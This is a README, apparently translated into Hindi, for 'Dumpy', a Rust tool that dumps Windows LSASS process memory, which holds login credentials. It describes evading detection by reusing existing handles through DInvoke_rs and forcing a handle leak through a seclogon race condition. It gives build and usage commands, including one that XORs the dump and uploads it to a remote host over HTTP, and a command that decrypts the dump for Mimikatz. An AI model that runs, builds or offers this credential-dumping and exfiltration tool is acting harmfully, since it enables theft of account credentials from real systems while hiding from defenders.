
LSASS को गतिशील रूप से डंप करने के लिए खुले हैंडल का पुन: उपयोग करें।
यह टूल lsass मेमोरी सामग्री को डंप करने के लिए गतिशील रूप से MiniDumpWriteDump को कॉल करता है। यह प्रक्रिया lsass के लिए नया प्रोसेस हैंडल खोले बिना और इसके दुर्भावनापूर्ण व्यवहार का पता लगाना कठिन बनाने के लिए DInvoke_rs का उपयोग करके की जाती है। lsass पर OpenProcess कॉल किए बिना वैध प्रोसेस हैंडल प्राप्त करने के लिए, सिस्टम के सभी प्रोसेस हैंडलों का विश्लेषण NtQuerySystemInformation, NtDuplicateObject, NtQueryObject और QueryFullProcessImageNameW का उपयोग करके किया जाता है।
मेमोरी डंप को डिस्क पर संग्रहीत करने या HTTP के माध्यम से भेजने से पहले xor करने के लिए NTFS ट्रांज़ैक्शन का उपयोग किया जाता है।
x86 और x64 दोनों के लिए समर्थन जोड़ा गया है।
बस कोड को release मोड में संकलित करें और इसे निष्पादित करें:
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
यदि आप किसी x86 सिस्टम के लिए टूल संकलित करना चाहते हैं, तो .cargo\config फ़ाइल में "target" विकल्प का मान बदलें (उदाहरण: target = "i686-pc-windows-msvc")।
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
Dumpy की दो मुख्य क्रियाएँ हैं:
dump: यह lsass को डंप करने के लिए मुख्य लॉजिक निष्पादित करेगा। डिफ़ॉल्ट रूप से, यह परिणाम को वर्तमान निर्देशिका में यादृच्छिक नाम वाली xor की गई टेक्स्ट फ़ाइल में संग्रहीत करेगा। upload विकल्प मेमोरी सामग्री को HTTP के माध्यम से रिमोट होस्ट पर भेजने की अनुमति देता है, जिससे xor फ़ाइल को डिस्क पर बनाने से बचा जा सकता है। अपलोड को संभालने के लिए मैंने इस सरल HTTP सर्वर का उपयोग किया है, लेकिन कोई भी अन्य HTTP सर्वर जो multipart/form-data अनुरोधों का समर्थन करता है, काम करेगा।
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
यदि आप Antonio Cocomazzi द्वारा इस पोस्ट में वर्णित seclogon सेवा में रेस कंडीशन के माध्यम से lsass के हैंडल के रिसाव को मजबूर करना चाहते हैं, तो बस force विकल्प का उपयोग करें:
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt: यह क्रिया डिक्रिप्टेड मेमोरी डंप को उसी प्रारूप में प्राप्त करने की अनुमति देती है जिसकी उम्मीद Mimikatz जैसे उपकरण करते हैं। तर्कों के रूप में यह xor की गई मेमोरी डंप, एन्क्रिप्शन कुंजी और आउटपुट फ़ाइल पथ की अपेक्षा करता है। यदि xor फ़ाइल HTTP का उपयोग करके अपलोड की गई है, तो इस डिक्रिप्शन प्रक्रिया से पहले सामग्री का base64 डिकोडिंग करना आवश्यक है।
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey